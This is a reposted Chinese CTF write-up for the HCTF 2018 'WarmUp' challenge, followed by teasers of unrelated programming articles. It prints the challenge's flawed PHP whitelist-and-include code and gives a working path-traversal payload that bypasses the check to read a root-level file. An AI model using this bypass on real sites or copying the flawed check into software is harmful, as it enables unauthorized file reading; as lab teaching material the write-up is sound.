2024.11.29——[HCTF 2018]WarmUp 1

拿到題,發現是一張圖,查看源代碼發現了被注釋掉的提示

<!-- source.php-->

step 1 在url傳參看看這個文件,發現了這道題的源碼

step 2 開始審計代碼,分析關鍵函數

  • //mb_strpos($haystack,$needle,$offset,$encoding):int|false 返回要查找的字符串在另一個字符串中首次出現的位置

    • $ haystack:要被檢查的字符串。

    • $ needle:要搜索的字符串。

    • $offset 可選:用于定義從何處開始搜索字符串,即搜索位置的偏移。如果沒有提供該參數,將會使用 0。負數的 offset 會從字符串尾部開始統計。

    • $encoding:可選。用于通過使用定義編碼mb_internal_encoding()。如果省略或是null,則使用內部字符編碼。

  • //mb_substr($str,$start,$length,$encoding) 中文截取函數:函數返回字符串的一部分。

    • $str:必需。從該 string 中提取子字符串。

    • $start:必需。規定在字符串的何處開始。

      • 正數 - 在字符串的指定位置開始

      • 負數 - 在從字符串結尾的指定位置開始

      • 0 - 在字符串中的第一個字符處開始

    • $length:可選。規定要返回的字符串長度。默認是直到字符串的結尾。

    • $encoding:網頁編碼,如utf-8,GB2312,GBK

源碼中出現了:hint.php

step 3 url傳參查看hint.php,發現以下文字

flag not here, and flag in ffffllllaaaagggg

即獲得了flag文件名。

step 4 繼續分析代碼

<?phphighlight_file(__FILE__);
?class emmm//定義了一個名為emmm的類,在該類中有一個靜態方法checkFile用于檢查要包含的文件是否在白名單中,白名單是一個關聯數組$whitelist,其中包含了允許包含的文件的鍵值對。在代碼中,允許包含的文件有"source"=>"source.php"和"hint"=>"hint.php"。{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//第①次檢查:checkFile方法檢查傳入的$page參數是否為字符串類型,如果不是或者未設置,將輸出"you can't see it"并返回false。if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}
?//第②次檢查:檢查傳入的$page是否直接在白名單中存在,如果存在,返回true。if (in_array($page, $whitelist)) {return true;}
?//對$page參數進行一系列處理:首先使用mb_strpos函數找到$page中第一個問號的位置,然后使用mb_substr函數將問號之前的部分作為$_page進行處理。$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}
?$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//第③次檢查:檢查傳入的$page是否直接在白名單中存在if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}
?
?//將$_page進行URL解碼,并重復之前的處理步驟,如果$_page在白名單中存在,返回true。如果上述條件都不滿足,則輸出"you can't see it"并返回false。if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?
?>

現在構造獲取flag的語句:hint.php?../../../../../ffffllllaaaagggg

傳入入checkFile函數要經歷:①白名單驗證 ②?過濾,過濾后就是hint.php ③白名單驗證,返回為真,則達成條件進行包含得到flag

注:include函數有這么一個神奇的功能:以字符‘/’分隔(而且不計個數),若是在前面的字符串所代表的文件無法被PHP找到,則PHP會自動包含‘/’后面的文件——注意是最后一個‘/’。

這里的ffffllllaaaagggg是在hint.php中發現的,顯然flag在這個文件里。其實文件名提示了我們要使用四層目錄。有四層目錄原理:source.php一般是在html目錄下,往上是www、var、根目錄,flag一般放在根目錄下,這里還有個hint.php?或者source.php?,因此需要返回四層才能到根目錄。

最終payload:

http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg

注:若目標是根目錄,則可以多穿幾層,多穿無妨,少穿什么都沒有

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/62278.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/62278.shtml
英文地址,請注明出處:http://en.pswp.cn/web/62278.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

brpc的二次封裝以及brpc與etcd的聯合

目的&#xff1a; 搭配etcd的注冊中心管理能知道誰能提供什么服務&#xff0c;并用rpc進行服務調用 封裝思想&#xff1a; 信道管理&#xff0c;將不同服務主機的通信信道管理起來 封裝&#xff1a; 1.指定的信道管理類 一個服務通常會有多個節點&#xff0c;每個節點都會…

【提升效率】如何寫好一份詳細設計文檔

版本日期修訂人描述V1.02024/12/6nick huang創建文檔 背景 CSDN在發起“如何做好一份技術文檔”的活動。 想起我最近在寫一份詳細設計&#xff0c;有一些感受&#xff1a; 一份考慮較周全的“詳細設計文檔模板”能起到質量保底的作用。 當一名初級技術人員需要編寫詳細設計文…

電阻計RM3544、RM3545的使用

目錄&#xff1a; 一、電阻計與PC通訊 1、硬件連接 2、RmLogger.exe的使用 二、RM3545測量35uΩ電阻 一、電阻計與PC通訊 1、硬件連接 可以設置USB或COM口(串口)連接PC&#xff0c;也可以設置為“打印”輸出。 1&#xff09;使用USB連接PC 2&#xff09;使用串口連接PC …

Jenkins 的HTTP Request 插件為什么不能配置Basic認證了

本篇遇到的問題 還是因為Jenkins需要及其所在的OS需要升級&#xff0c;升級策略是在一臺新服務器上安裝和配置最新版本的Jenkins&#xff0c; 當前的最新版本是&#xff1a; 2.479.2 LTS。 如果需要這個版本的話可以在官方站點下載&#xff0c;也可以到如下地址下載&#xff1…

uniapp 封裝自定義頭部導航欄

封裝原因 項目中有時候需要使用自定義的頭部導航欄&#xff0c;原生的無法滿足需求 參數 屬性名描述示例title標題字符串&#xff1a;首頁bgColor背景色字符串&#xff1a;#ffftype左側的操作內容字符串&#xff1a;all&#xff0c;詳細值請在下方查看 參數解釋 type all…

docker學習筆記(五)--docker-compose

文章目錄 常用命令docker-compose是什么yml配置指令詳解versionservicesimagebuildcommandportsvolumesdepends_on docker-compose.yml文件編寫 常用命令 命令說明docker-compose up啟動所有docker-compose服務&#xff0c;通常加上-d選項&#xff0c;讓其運行在后臺docker-co…

Linux中inode

磁盤的空間管理 如何對磁盤空間進行管理&#xff1f; 假設在一塊大小為500G的磁盤中&#xff0c;500*1024*1024524288000KB。在磁盤中&#xff0c;扇區是磁盤的基本單位&#xff08;一般大小為512byte&#xff09;&#xff0c;而文件系統訪問磁盤的基本單位是4KB&#xff0c;因…

5G揚帆乘勁風,遨游通訊賦能千行百業譜新篇

在大型工廠&#xff0c;輕觸手機屏幕&#xff0c;實時庫存數據、人員定位等信息便躍然眼前、一目了然&#xff1b;在邊遠油田&#xff0c;動動手指&#xff0c;即可實時查詢設備溫度、危險氣體濃度等信息&#xff0c;大數據瞬間盡在“掌”握……在遨游5G防爆智能手機的助力下&a…

RT Thread Studio新建STM32F407IG工程文件編譯提示錯誤

編譯提示錯誤 原因: RT 源碼使用4.0.3的話&#xff0c;請用STM32F4支持包的0.2.2版本&#xff0c;就不會出錯了。 如果支持包用0.2.3版本的話&#xff0c;需要用RT內核4.1.0版本。0.2.3 版本更新了一些針對內核4.1.0的驅動代碼&#xff0c;這幾個定義都是4.1.0里的。

學生管理系統(java)

1.前期準備 &#xff08;1&#xff09;新建java項目 &#xff08;2&#xff09;新建java軟件包以及三個文件Student.java,Student.txt,StuSystem.java Student.java package student_management_system;public class Student {private String id;private String name;private…

JavaWeb學習(2)(Cookie原理(超詳細)、HTTP無狀態)

目錄 一、HTTP無狀態。 &#xff08;1&#xff09;"記住我"&#xff1f; &#xff08;2&#xff09;HTTP無狀態。 &#xff08;3&#xff09;信息存儲客戶端中。如何處理&#xff1f; 1、loaclStorage與sessionStorage。 2、Cookie。 二、Cookie。 &#xff08;1&…

SpringBoot教程(三十二) SpringBoot集成Skywalking鏈路跟蹤

SpringBoot教程&#xff08;三十二&#xff09; | SpringBoot集成Skywalking鏈路跟蹤 一、Skywalking是什么&#xff1f;二、Skywalking與JDK版本的對應關系三、Skywalking下載四、Skywalking 數據存儲五、Skywalking 的啟動六、部署探針 前提&#xff1a; Agents 8.9.0 放入 …

flask創建templates目錄存放html文件

首先&#xff0c;創建flask項目&#xff0c;在pycharm中File --> New Project&#xff0c;選擇Flask項目。 然后&#xff0c;在某一目錄下&#xff0c;新建名為templates的文件夾&#xff0c;這時會是一個普通的文件夾。 然后右擊templates文件夾&#xff0c;選擇Unmark as …

Java進階(注解,設計模式,對象克隆)

Java進階(注解&#xff0c;設計模式&#xff0c;對象克隆) 一. 注解 1.1 什么是注解 java中注解(Annotation)&#xff0c;又稱java標注&#xff0c;是一種特殊的注釋 可以添加在包&#xff0c;類&#xff0c;成員變量&#xff0c;方法&#xff0c;參數等內容上 注解會隨同…

部署loki,grafana 以及springcloud用法舉例

文章目錄 場景docker 部署grafanadocker-compose部署loki維護配置文件 local-config.yaml維護docker-compose.yml配置啟動 grafana 添加loki數據源springcloud用法舉例查看loki的explore,查看日志 場景 小公司缺少運維崗位&#xff0c;需要研發自己部署日志系統&#xff0c;elk…

keil報錯---connection refused due to device mismatch

解決辦法如下&#xff1a; 記得改成1 把Enable取消

第三節、電機定速轉動【51單片機-TB6600驅動器-步進電機教程】

摘要&#xff1a;本節介紹用定時器定時的方式&#xff0c;精準控制脈沖時間&#xff0c;從而控制步進電機速度 一、計算過程 1.1 電機每一步的角速度等于走這一步所花費的時間&#xff0c;走一步角度等于步距角&#xff0c;走一步的時間等于一個脈沖的時間 w s t e p t … ……

vue中pdf.js的使用,包括pdf顯示,跳轉指定頁面,高亮關鍵詞

目錄 一、下載pdf.js 二、引入到本地的項目中 三、實現預覽pdf 四、跳轉到指定頁面 五、利用pdf里面的find查找關鍵詞 六、修改頁面大小為實際大小 一、下載pdf.js https://github.com/mozilla/pdf.js 里面有很多的版本&#xff0c; 高版本的可能瀏覽器不兼容或者還要考…

OD B卷【連續字母長度】

題目 給定一個字符串&#xff0c;只包含大寫字母&#xff0c;求在包含同一字母的子串中&#xff0c;長度第k長的子串的長度&#xff0c;相同字母只取最長的那個子串。 輸入描述&#xff1a; 第一行輸入一個子串&#xff08;長【1,100】&#xff09;&#xff0c;只包含大寫字母…

python中的 Pydantic 框架介紹

Pydantic 框架介紹 Pydantic 是一個用于數據驗證和設置管理的 Python 庫。它主要通過數據模型類的定義來處理 JSON 數據、解析請求和響應數據&#xff0c;并提供自動化的驗證和轉換。Pydantic 主要用于處理 Python 類型的安全性和驗證&#xff0c;尤其在 FastAPI 等現代 Pytho…